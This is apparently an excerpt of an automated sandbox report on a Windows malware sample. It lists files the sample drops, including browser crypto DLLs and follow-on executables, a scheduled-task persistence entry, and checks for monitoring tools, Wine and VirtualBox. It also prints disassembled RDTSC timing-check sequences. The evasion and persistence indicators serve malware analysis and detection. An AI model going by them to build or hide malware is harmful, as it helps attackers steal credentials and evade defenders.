Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFHJDBKJKFI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\rh[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFHJDBKJKFI.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFHJDBKJKFI.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsFHJDBKJKFI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9955F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9955F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: skotes.exe, 00000026.00000002.3455388933.000000000128C000.00000004.00000020.00020000.00000000.sdmp, rh.exe, 00000027.00000002.3461334793.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, rh.exe, 00000027.00000002.3453602168.0000000000A0C000.00000004.00000001.01000000.0000000F.sdmp, rh.exe.38.dr, rh[1].exe.38.dr	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: skotes.exe, 00000026.00000002.3455388933.000000000128C000.00000004.00000020.00020000.00000000.sdmp, rh.exe, 00000027.00000002.3461334793.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, rh.exe, 00000027.00000002.3453602168.0000000000A0C000.00000004.00000001.01000000.0000000F.sdmp, rh.exe.38.dr, rh[1].exe.38.dr	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6903FB second address: 68FCDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007F8F30FBAE6Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f clc 0x00000010 push dword ptr [ebp+122D0079h] 0x00000016 clc 0x00000017 call dword ptr [ebp+122D1804h] 0x0000001d pushad 0x0000001e jmp 00007F8F30FBAE70h 0x00000023 xor eax, eax 0x00000025 pushad 0x00000026 sub dword ptr [ebp+122D278Bh], edi 0x0000002c popad 0x0000002d xor dword ptr [ebp+122D3755h], ecx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 jo 00007F8F30FBAE6Eh 0x0000003d jp 00007F8F30FBAE68h 0x00000043 mov dword ptr [ebp+122D3B6Bh], eax 0x00000049 jno 00007F8F30FBAE6Ch 0x0000004f mov esi, 0000003Ch 0x00000054 add dword ptr [ebp+122D278Bh], esi 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e jmp 00007F8F30FBAE74h 0x00000063 lodsw 0x00000065 mov dword ptr [ebp+122D335Eh], ecx 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f or dword ptr [ebp+122D278Bh], ebx 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 jnc 00007F8F30FBAE81h 0x0000007f nop 0x00000080 pushad 0x00000081 jmp 00007F8F30FBAE76h 0x00000086 je 00007F8F30FBAE6Ch 0x0000008c push eax 0x0000008d push edx 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8044A6 second address: 8044AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8044AC second address: 8044B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8044B1 second address: 8044B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804916 second address: 80492E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jp 00007F8F30FBAE68h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F8F30FBAE66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80492E second address: 804932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8063F6 second address: 80640F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8F30FBAE6Eh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80640F second address: 806415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806415 second address: 80644D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b ja 00007F8F30FBAE68h 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F8F30FBAE74h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jnc 00007F8F30FBAE66h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80644D second address: 80645B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80645B second address: 68FCDB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F30FBAE68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b adc dx, 84D2h 0x00000010 push dword ptr [ebp+122D0079h] 0x00000016 jmp 00007F8F30FBAE6Bh 0x0000001b call dword ptr [ebp+122D1804h] 0x00000021 pushad 0x00000022 jmp 00007F8F30FBAE70h 0x00000027 xor eax, eax 0x00000029 pushad 0x0000002a sub dword ptr [ebp+122D278Bh], edi 0x00000030 popad 0x00000031 xor dword ptr [ebp+122D3755h], ecx 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b jo 00007F8F30FBAE6Eh 0x00000041 jp 00007F8F30FBAE68h 0x00000047 mov dword ptr [ebp+122D3B6Bh], eax 0x0000004d jno 00007F8F30FBAE6Ch 0x00000053 mov esi, 0000003Ch 0x00000058 add dword ptr [ebp+122D278Bh], esi 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 jmp 00007F8F30FBAE74h 0x00000067 lodsw 0x00000069 mov dword ptr [ebp+122D335Eh], ecx 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 or dword ptr [ebp+122D278Bh], ebx 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d jnc 00007F8F30FBAE81h 0x00000083 nop 0x00000084 pushad 0x00000085 jmp 00007F8F30FBAE76h 0x0000008a je 00007F8F30FBAE6Ch 0x00000090 push eax 0x00000091 push edx 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8064A8 second address: 80651D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F8F30D58CD8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 jne 00007F8F30D58CD9h 0x0000002c push 00000000h 0x0000002e add si, F9D2h 0x00000033 call 00007F8F30D58CD9h 0x00000038 jno 00007F8F30D58CDEh 0x0000003e push eax 0x0000003f pushad 0x00000040 push ecx 0x00000041 jmp 00007F8F30D58CE3h 0x00000046 pop ecx 0x00000047 je 00007F8F30D58CDCh 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80668F second address: 8066ED instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F30FBAE6Ch 0x00000008 je 00007F8F30FBAE66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xor dword ptr [esp], 160A7121h 0x00000017 mov dword ptr [ebp+122D36F3h], ecx 0x0000001d push 00000003h 0x0000001f jmp 00007F8F30FBAE74h 0x00000024 push 00000000h 0x00000026 mov edi, dword ptr [ebp+122D3B37h] 0x0000002c mov esi, dword ptr [ebp+122D3A4Bh] 0x00000032 push 00000003h 0x00000034 and esi, 218E4008h 0x0000003a call 00007F8F30FBAE69h 0x0000003f push edi 0x00000040 push esi 0x00000041 pushad 0x00000042 popad 0x00000043 pop esi 0x00000044 pop edi 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 push ecx 0x0000004a pop ecx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE46F second address: 7EE477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE477 second address: 7EE47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8251F2 second address: 8251F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8251F6 second address: 825200 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F30FBAE66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82534B second address: 825361 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CDCh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825361 second address: 825365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825498 second address: 82549C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82549C second address: 8254AE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8F30FBAE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F8F30FBAE6Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8255F1 second address: 8255F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826071 second address: 82607B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F30FBAE7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3400 second address: 7F340A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8F30D58CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F340A second address: 7F3425 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F8F30FBAE6Eh 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3425 second address: 7F342B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826B8E second address: 826B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826B92 second address: 826B96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826B96 second address: 826B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF14E second address: 7FF154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF154 second address: 7FF169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30FBAE71h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF169 second address: 7FF175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF175 second address: 7FF18D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jng 00007F8F30FBAE66h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D46B second address: 82D470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D5E5 second address: 82D609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a ja 00007F8F30FBAE6Eh 0x00000010 push ebx 0x00000011 jp 00007F8F30FBAE66h 0x00000017 pop ebx 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007F8F30FBAE68h 0x00000022 push edx 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D609 second address: 82D60F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D60F second address: 82D630 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F30FBAE73h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D630 second address: 82D636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D636 second address: 82D63A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D7D4 second address: 82D7E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F8F30D58CD6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D7E3 second address: 82D808 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d jnp 00007F8F30FBAE66h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFE65 second address: 7EFE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30D58CE2h 0x00000009 pop edi 0x0000000a push ebx 0x0000000b jnl 00007F8F30D58CD6h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFE84 second address: 7EFE8D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFE8D second address: 7EFE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
